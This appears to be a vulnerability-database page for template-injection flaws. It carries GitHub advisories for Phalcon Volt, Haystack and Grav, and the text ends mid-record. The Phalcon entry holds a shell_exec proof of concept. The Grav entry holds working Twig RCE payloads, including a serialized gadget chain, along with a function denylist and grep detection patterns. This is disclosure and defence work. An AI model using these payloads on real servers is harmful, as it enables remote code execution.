CWE-1336
AllowedImproper Neutralization of Special Elements Used in a Template Engine
Abstraction: Base · Status: Incomplete
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
460 vulnerabilities reference this CWE, most recent first.
GHSA-HRWP-4HH9-C8R8
Vulnerability from github – Published: 2026-08-21 20:55 – Updated: 2026-08-27 16:33Summary
The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.
Details
Root cause
phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:
case "join":
return "join('" . funcArguments[1]["expr"]["value"]
. "', " . funcArguments[0]["expr"]["value"] . ")";
funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.
Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):
ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");
i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.
The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.
PoC
<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;
$cmd = 'id; uname -a; hostname';
$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";
$compiled = (new Compiler())->compileString($tpl);
$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);
Impact
Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.15.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phalcon/cphalcon"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59989"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T20:55:56Z",
"nvd_published_at": "2026-08-21T21:17:00Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter\u0027s **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join(\u0027\u2026\u0027)` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -\u003e remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n return \"join(\u0027\" . funcArguments[1][\"expr\"][\"value\"]\n . \"\u0027, \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join(\u0027` \u2026 `\u0027` quotes with no neutralisation of `\u0027`, and the array value is emitted with no quoting at all. Volt\u0027s scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -\u003e `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join(\u0027\", \u0026_19$$24, \"\u0027, \", \u0026_22$$24, \")\");\n```\n\ni.e. literally `\"join(\u0027\" + separator + \"\u0027, \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n\u003c?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = \u0027id; uname -a; hostname\u0027;\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ [\u0027x\u0027] | join(\\\"\u0027,[]); echo shell_exec(base64_decode(\u0027$b64\u0027)); //\\\") }}\";\n\n$compiled = (new Compiler())-\u003ecompileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), \u0027volt\u0027) . \u0027.php\u0027;\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n\u003cimg width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" /\u003e\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.",
"id": "GHSA-hrwp-4hh9-c8r8",
"modified": "2026-08-27T16:33:43Z",
"published": "2026-08-21T20:55:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59989"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/pull/17217"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd"
},
{
"type": "PACKAGE",
"url": "https://github.com/phalcon/cphalcon"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/releases/tag/v5.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)"
}
GHSA-HX9V-6R9F-W677
Vulnerability from github – Published: 2024-07-31 18:50 – Updated: 2024-07-31 18:50Impact
Haystack clients that let their users create and run Pipelines from scratch are vulnerable to remote code executions.
Certain Components in Haystack use Jinja2 templates, if anyone can create and render that template on the client machine they run any code.
Patches
The problem has been fixed with PRs deepset-ai/haystack#8095 and deepset-ai/haystack#8096.
Both have been released with Haystack 2.3.1.
Workarounds
Prevent users from running the affected Components, or only let users use preselected templates.
References
The list of impacted Components can be found in the release notes for 2.3.1.
https://github.com/deepset-ai/haystack/releases/tag/v2.3.1
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "haystack-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-41950"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-31T18:50:41Z",
"nvd_published_at": "2024-07-31T16:15:04Z",
"severity": "HIGH"
},
"details": "### Impact\n\nHaystack clients that let their users create and run Pipelines from scratch are vulnerable to remote code executions.\n\nCertain Components in Haystack use Jinja2 templates, if anyone can create and render that template on the client machine they run any code.\n\n### Patches\n\nThe problem has been fixed with PRs deepset-ai/haystack#8095 and deepset-ai/haystack#8096.\n\nBoth have been released with Haystack `2.3.1`.\n\n### Workarounds\n\nPrevent users from running the affected Components, or only let users use preselected templates.\n\n### References\n\nThe list of impacted Components can be found in the release notes for `2.3.1`.\nhttps://github.com/deepset-ai/haystack/releases/tag/v2.3.1",
"id": "GHSA-hx9v-6r9f-w677",
"modified": "2024-07-31T18:50:41Z",
"published": "2024-07-31T18:50:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/deepset-ai/haystack/security/advisories/GHSA-hx9v-6r9f-w677"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41950"
},
{
"type": "WEB",
"url": "https://github.com/deepset-ai/haystack/pull/8095"
},
{
"type": "WEB",
"url": "https://github.com/deepset-ai/haystack/pull/8096"
},
{
"type": "WEB",
"url": "https://github.com/deepset-ai/haystack/commit/3fed1366c448b02189851bf08166c1f6477a02b0"
},
{
"type": "WEB",
"url": "https://github.com/deepset-ai/haystack/commit/6c25a5c73e83aa32c3241ba84a5cbb3ac0e8a89e"
},
{
"type": "PACKAGE",
"url": "https://github.com/deepset-ai/haystack"
},
{
"type": "WEB",
"url": "https://github.com/deepset-ai/haystack/releases/tag/v2.3.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Insecure Jinja2 templates rendered in Haystack Components can lead to RCE"
}
GHSA-J3V8-V77F-FVGM
Vulnerability from github – Published: 2023-06-16 19:36 – Updated: 2023-06-16 19:36Hi,
actually we have sent the bug report to security@getgrav.org on 27th March 2023 and on 10th April 2023.
Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability
Summary:
| Product | Grav CMS |
|---|---|
| Vendor | Grav |
| Severity | High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution |
| Affected Versions | <= v1.7.40 (Commit 685d762) (Latest version as of writing) |
| Tested Versions | v1.7.40 |
| Internal Identifier | STAR-2023-0006 |
| CVE Identifier | Reserved CVE-2023-30592, CVE-2023-30593, CVE-2023-30594 |
| CWE(s) | CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |
CVSS3.1 Scoring System:
Base Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
| Metric | Value |
| ---------------------------- | --------- |
| Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | High |
| User Interaction (UI) | None |
| Scope (S) | Unchanged |
| Confidentiality (C) | High |
| Integrity (I) | High |
| Availability (A) | High |
Product Overview:
Grav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.
Vulnerability Summary:
The denylist introduced in commit 9d6a2d to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.
Vulnerability Details:
In addressing CVE-2022-2073, a denylist was introduced in commit 9d6a2d to validate and ensure that dangerous functions could not be executed via injection of malicious templates.
The implementation of the denylist can be found in Utils::isDangerousFunction() within /system/src/Grav/Common/Utils.php:
/**
* @param string $name
* @return bool
*/
public static function isDangerousFunction(string $name): bool
{
static $commandExecutionFunctions = [
'exec',
'passthru',
'system',
'shell_exec',
'popen',
'proc_open',
'pcntl_exec',
];
static $codeExecutionFunctions = [
'assert',
'preg_replace',
'create_function',
'include',
'include_once',
'require',
'require_once'
];
static $callbackFunctions = [
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => [-1, -2],
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => [-1, -2],
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => [0, 1, 2, 3, 4, 5],
'sqlite_create_aggregate' => [2, 3],
'sqlite_create_function' => 2,
];
static $informationDiscosureFunctions = [
'phpinfo',
'posix_mkfifo',
'posix_getlogin',
'posix_ttyname',
'getenv',
'get_current_user',
'proc_get_status',
'get_cfg_var',
'disk_free_space',
'disk_total_space',
'diskfreespace',
'getcwd',
'getlastmo',
'getmygid',
'getmyinode',
'getmypid',
'getmyuid'
];
static $otherFunctions = [
'extract',
'parse_str',
'putenv',
'ini_set',
'mail',
'header',
'proc_nice',
'proc_terminate',
'proc_close',
'pfsockopen',
'fsockopen',
'apache_child_terminate',
'posix_kill',
'posix_mkfifo',
'posix_setpgid',
'posix_setsid',
'posix_setuid',
];
if (in_array($name, $commandExecutionFunctions)) {
return true;
}
if (in_array($name, $codeExecutionFunctions)) {
return true;
}
if (isset($callbackFunctions[$name])) {
return true;
}
if (in_array($name, $informationDiscosureFunctions)) {
return true;
}
if (in_array($name, $otherFunctions)) {
return true;
}
return static::isFilesystemFunction($name);
}
/**
* @param string $name
* @return bool
*/
public static function isFilesystemFunction(string $name): bool
{
static $fileWriteFunctions = [
'fopen',
'tmpfile',
'bzopen',
'gzopen',
// write to filesystem (partially in combination with reading)
'chgrp',
'chmod',
'chown',
'copy',
'file_put_contents',
'lchgrp',
'lchown',
'link',
'mkdir',
'move_uploaded_file',
'rename',
'rmdir',
'symlink',
'tempnam',
'touch',
'unlink',
'imagepng',
'imagewbmp',
'image2wbmp',
'imagejpeg',
'imagexbm',
'imagegif',
'imagegd',
'imagegd2',
'iptcembed',
'ftp_get',
'ftp_nb_get',
];
static $fileContentFunctions = [
'file_get_contents',
'file',
'filegroup',
'fileinode',
'fileowner',
'fileperms',
'glob',
'is_executable',
'is_uploaded_file',
'parse_ini_file',
'readfile',
'readlink',
'realpath',
'gzfile',
'readgzfile',
'stat',
'imagecreatefromgif',
'imagecreatefromjpeg',
'imagecreatefrompng',
'imagecreatefromwbmp',
'imagecreatefromxbm',
'imagecreatefromxpm',
'ftp_put',
'ftp_nb_put',
'hash_update_file',
'highlight_file',
'show_source',
'php_strip_whitespace',
];
static $filesystemFunctions = [
// read from filesystem
'file_exists',
'fileatime',
'filectime',
'filemtime',
'filesize',
'filetype',
'is_dir',
'is_file',
'is_link',
'is_readable',
'is_writable',
'is_writeable',
'linkinfo',
'lstat',
//'pathinfo',
'getimagesize',
'exif_read_data',
'read_exif_data',
'exif_thumbnail',
'exif_imagetype',
'hash_file',
'hash_hmac_file',
'md5_file',
'sha1_file',
'get_meta_tags',
];
if (in_array($name, $fileWriteFunctions)) {
return true;
}
if (in_array($name, $fileContentFunctions)) {
return true;
}
if (in_array($name, $filesystemFunctions)) {
return true;
}
return false;
}
The list of banned functions appears to be adapted from a StackOverflow post. While the denylist looks rather comprehensive, there are actually multiple issues with the denylist implementation:
1. There may be unsafe functions, be it built-in to PHP or user-defined, which are not be blocked. For example, unserialize() and aliases of blocked functions, such as ini_alter(), are not being included in the denylist.
2. A case-sensitive comparison is performed against the denylist, but PHP function names are case-insensitive. This allows using filter('SYSTEM') to trivially bypass the denylist validation check.
3. Fully qualified names can be used when referencing functions, allowing filter('\system') to trivially bypass the denylist validation checks.
Exploit Conditions:
This vulnerability can be exploited if the attacker has access to: 1. an administrator account, or 2. a non-administrative user account with the following permissions granted: - login access to Grav admin panel, and - page creation or update rights
Reproduction Steps:
- Log in to Grav Admin using an administrator account.
- Navigate to
Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user:- Login to Admin - Allowed
- Page Update - Allowed
- Log out of Grav Admin, and log back in using the account created in step 2.
- Navigate to
http://<grav_installation>/admin/pages/home. - Click the
Advancedtab and select the checkbox besideTwigto ensure that Twig processing is enabled for the modified webpage. - Under the
Contenttab, insert the following payload within the editor: ~~~twig // Method 1: Using unserialize() to trigger system('id') call // Serialized payloaed generated using the phpggc tool: ./phpggc -b Monolog/RCE7 system 'id' // {{ 'TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aTowO319czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czozOiJwb3MiO2k6MTtzOjY6InN5c3RlbSI7fX0=' | base64_decode | array | filter('unserialize') }}
// Method 2: Trigger system('id') via case-insensitive function names {{ ['id'] | filter('System') }}
// Method 3: Trigger system('id') via fully qualified names when referencing functions
{{ ['id'] | filter('\system') }}
~~~
7. Click the Preview button. Observe that the output of the id shell command is returned in the preview.
Suggested Mitigations:
It is recommended to review the list of functions, both default functions in PHP and user-defined functions, and include missing unsafe functions in the denylist. A non-exhaustive list of missing unsafe functions discovered is shown below:
- unserialize()
- ini_alter()
- simplexml_load_file()
- simplexml_load_string()
- forward_static_call()
- forward_static_call_array()
The Utils::isDangerousFunction() function in /system/src/Grav/Common/Utils.php should also be patched to disallow usage of fully qualified names when specifying callables, as well as ensure that validation performed on the $name parameter is case-insensitive.
For example, ~~~diff php ... abstract class Utils { ... /* * @param string $name * @return bool / public static function isDangerousFunction(string $name): bool { ... + if ($arrow instanceof Closure) { + return false; + }
- $name = strtolower($name);
- if (strpos($name, "\") !== false) {
- return false;
- }
if (in_array($name, $commandExecutionFunctions)) { return true; } if (in_array($name, $codeExecutionFunctions)) { return true; } if (isset($callbackFunctions[$name])) { return true; } if (in_array($name, $informationDiscosureFunctions)) { return true; } if (in_array($name, $otherFunctions)) { return true; } return static::isFilesystemFunction($name);} ... } ~~~
End users should also ensure that twig.undefined_functions and twig.undefined_filters properties in /path/to/webroot/system/config/system.yaml configuration file are set to false to disallow Twig from treating undefined filters/functions as PHP functions and executing them.
Detection Guidance:
The following strategies may be used to detect potential exploitation attempts.
1. Searching within Markdown pages using the following shell command:
grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' /path/to/webroot/user/pages/
2. Searching within Doctrine cache data using the following shell command:
grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/
3. Searching within Twig cache using the following shell command:
grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|twig_array_(filter|map|reduce))\s*\(' /path/to/webroot/cache/twig/
4. Searching within compiled Twig template files using the following shell command:
grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' /path/to/webroot/cache/compiled/files/
Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at /path/to/webroot/logs/grav.log by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.
Credits:
Ngo Wei Lin (@Creastery) & Wang Hengyue (@w_hy_04) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
The scheduled disclosure date is 25th July, 2023. Disclosure at an earlier date is also possible if agreed upon by all parties.
Kindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:
1. CVE-2023-30592
Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of unsafe functions, such as unserialize(), that are not blocked. This is a bypass of CVE-2022-2073.
2. CVE-2023-30593
Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of capitalised names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.
3. CVE-2023-30594
Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of fully-qualified names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.42"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34253"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-16T19:36:52Z",
"nvd_published_at": "2023-06-14T23:15:11Z",
"severity": "HIGH"
},
"details": "Hi, \n\nactually we have sent the bug report to security@getgrav.org on 27th March 2023 and on 10th April 2023.\n\n# Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability\n\n## Summary: \n| **Product** | Grav CMS |\n| ----------------------- | --------------------------------------------- |\n| **Vendor** | Grav |\n| **Severity** | High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution |\n| **Affected Versions** | \u003c= [v1.7.40](https://github.com/getgrav/grav/tree/1.7.40) (Commit [685d762](https://github.com/getgrav/grav/commit/685d76231a057416651ed192a6a2e83720800e61)) (Latest version as of writing) |\n| **Tested Versions** | v1.7.40 |\n| **Internal Identifier** | STAR-2023-0006 |\n| **CVE Identifier** | Reserved CVE-2023-30592, CVE-2023-30593, CVE-2023-30594 |\n| **CWE(s)** | CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |\n\n## CVSS3.1 Scoring System: \n**Base Score:** 7.2 (High) \n**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` \n| **Metric** | **Value** |\n| ---------------------------- | --------- |\n| **Attack Vector (AV)** | Network |\n| **Attack Complexity (AC)** | Low |\n| **Privileges Required (PR)** | High |\n| **User Interaction (UI)** | None |\n| **Scope (S)** | Unchanged |\n| **Confidentiality \\(C)** | High |\n| **Integrity (I)** | High |\n| **Availability (A)** | High |\n\n## Product Overview: \nGrav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.\n\n## Vulnerability Summary: \nThe denylist introduced in commit [9d6a2d](https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83) to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.\n\n## Vulnerability Details: \nIn addressing [CVE-2022-2073](https://huntr.dev/bounties/3ef640e6-9e25-4ecb-8ec1-64311d63fe66/), a denylist was introduced in commit [9d6a2d](https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83) to validate and ensure that dangerous functions could not be executed via injection of malicious templates.\n\nThe implementation of the denylist can be found in `Utils::isDangerousFunction()` within [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1952-L2190):\n~~~php\n /**\n * @param string $name\n * @return bool\n */\n public static function isDangerousFunction(string $name): bool\n {\n static $commandExecutionFunctions = [\n \u0027exec\u0027,\n \u0027passthru\u0027,\n \u0027system\u0027,\n \u0027shell_exec\u0027,\n \u0027popen\u0027,\n \u0027proc_open\u0027,\n \u0027pcntl_exec\u0027,\n ];\n\n static $codeExecutionFunctions = [\n \u0027assert\u0027,\n \u0027preg_replace\u0027,\n \u0027create_function\u0027,\n \u0027include\u0027,\n \u0027include_once\u0027,\n \u0027require\u0027,\n \u0027require_once\u0027\n ];\n\n static $callbackFunctions = [\n \u0027ob_start\u0027 =\u003e 0,\n \u0027array_diff_uassoc\u0027 =\u003e -1,\n \u0027array_diff_ukey\u0027 =\u003e -1,\n \u0027array_filter\u0027 =\u003e 1,\n \u0027array_intersect_uassoc\u0027 =\u003e -1,\n \u0027array_intersect_ukey\u0027 =\u003e -1,\n \u0027array_map\u0027 =\u003e 0,\n \u0027array_reduce\u0027 =\u003e 1,\n \u0027array_udiff_assoc\u0027 =\u003e -1,\n \u0027array_udiff_uassoc\u0027 =\u003e [-1, -2],\n \u0027array_udiff\u0027 =\u003e -1,\n \u0027array_uintersect_assoc\u0027 =\u003e -1,\n \u0027array_uintersect_uassoc\u0027 =\u003e [-1, -2],\n \u0027array_uintersect\u0027 =\u003e -1,\n \u0027array_walk_recursive\u0027 =\u003e 1,\n \u0027array_walk\u0027 =\u003e 1,\n \u0027assert_options\u0027 =\u003e 1,\n \u0027uasort\u0027 =\u003e 1,\n \u0027uksort\u0027 =\u003e 1,\n \u0027usort\u0027 =\u003e 1,\n \u0027preg_replace_callback\u0027 =\u003e 1,\n \u0027spl_autoload_register\u0027 =\u003e 0,\n \u0027iterator_apply\u0027 =\u003e 1,\n \u0027call_user_func\u0027 =\u003e 0,\n \u0027call_user_func_array\u0027 =\u003e 0,\n \u0027register_shutdown_function\u0027 =\u003e 0,\n \u0027register_tick_function\u0027 =\u003e 0,\n \u0027set_error_handler\u0027 =\u003e 0,\n \u0027set_exception_handler\u0027 =\u003e 0,\n \u0027session_set_save_handler\u0027 =\u003e [0, 1, 2, 3, 4, 5],\n \u0027sqlite_create_aggregate\u0027 =\u003e [2, 3],\n \u0027sqlite_create_function\u0027 =\u003e 2,\n ];\n\n static $informationDiscosureFunctions = [\n \u0027phpinfo\u0027,\n \u0027posix_mkfifo\u0027,\n \u0027posix_getlogin\u0027,\n \u0027posix_ttyname\u0027,\n \u0027getenv\u0027,\n \u0027get_current_user\u0027,\n \u0027proc_get_status\u0027,\n \u0027get_cfg_var\u0027,\n \u0027disk_free_space\u0027,\n \u0027disk_total_space\u0027,\n \u0027diskfreespace\u0027,\n \u0027getcwd\u0027,\n \u0027getlastmo\u0027,\n \u0027getmygid\u0027,\n \u0027getmyinode\u0027,\n \u0027getmypid\u0027,\n \u0027getmyuid\u0027\n ];\n\n static $otherFunctions = [\n \u0027extract\u0027,\n \u0027parse_str\u0027,\n \u0027putenv\u0027,\n \u0027ini_set\u0027,\n \u0027mail\u0027,\n \u0027header\u0027,\n \u0027proc_nice\u0027,\n \u0027proc_terminate\u0027,\n \u0027proc_close\u0027,\n \u0027pfsockopen\u0027,\n \u0027fsockopen\u0027,\n \u0027apache_child_terminate\u0027,\n \u0027posix_kill\u0027,\n \u0027posix_mkfifo\u0027,\n \u0027posix_setpgid\u0027,\n \u0027posix_setsid\u0027,\n \u0027posix_setuid\u0027,\n ];\n\n if (in_array($name, $commandExecutionFunctions)) {\n return true;\n }\n\n if (in_array($name, $codeExecutionFunctions)) {\n return true;\n }\n\n if (isset($callbackFunctions[$name])) {\n return true;\n }\n\n if (in_array($name, $informationDiscosureFunctions)) {\n return true;\n }\n\n if (in_array($name, $otherFunctions)) {\n return true;\n }\n\n return static::isFilesystemFunction($name);\n }\n\n /**\n * @param string $name\n * @return bool\n */\n public static function isFilesystemFunction(string $name): bool\n {\n static $fileWriteFunctions = [\n \u0027fopen\u0027,\n \u0027tmpfile\u0027,\n \u0027bzopen\u0027,\n \u0027gzopen\u0027,\n // write to filesystem (partially in combination with reading)\n \u0027chgrp\u0027,\n \u0027chmod\u0027,\n \u0027chown\u0027,\n \u0027copy\u0027,\n \u0027file_put_contents\u0027,\n \u0027lchgrp\u0027,\n \u0027lchown\u0027,\n \u0027link\u0027,\n \u0027mkdir\u0027,\n \u0027move_uploaded_file\u0027,\n \u0027rename\u0027,\n \u0027rmdir\u0027,\n \u0027symlink\u0027,\n \u0027tempnam\u0027,\n \u0027touch\u0027,\n \u0027unlink\u0027,\n \u0027imagepng\u0027,\n \u0027imagewbmp\u0027,\n \u0027image2wbmp\u0027,\n \u0027imagejpeg\u0027,\n \u0027imagexbm\u0027,\n \u0027imagegif\u0027,\n \u0027imagegd\u0027,\n \u0027imagegd2\u0027,\n \u0027iptcembed\u0027,\n \u0027ftp_get\u0027,\n \u0027ftp_nb_get\u0027,\n ];\n\n static $fileContentFunctions = [\n \u0027file_get_contents\u0027,\n \u0027file\u0027,\n \u0027filegroup\u0027,\n \u0027fileinode\u0027,\n \u0027fileowner\u0027,\n \u0027fileperms\u0027,\n \u0027glob\u0027,\n \u0027is_executable\u0027,\n \u0027is_uploaded_file\u0027,\n \u0027parse_ini_file\u0027,\n \u0027readfile\u0027,\n \u0027readlink\u0027,\n \u0027realpath\u0027,\n \u0027gzfile\u0027,\n \u0027readgzfile\u0027,\n \u0027stat\u0027,\n \u0027imagecreatefromgif\u0027,\n \u0027imagecreatefromjpeg\u0027,\n 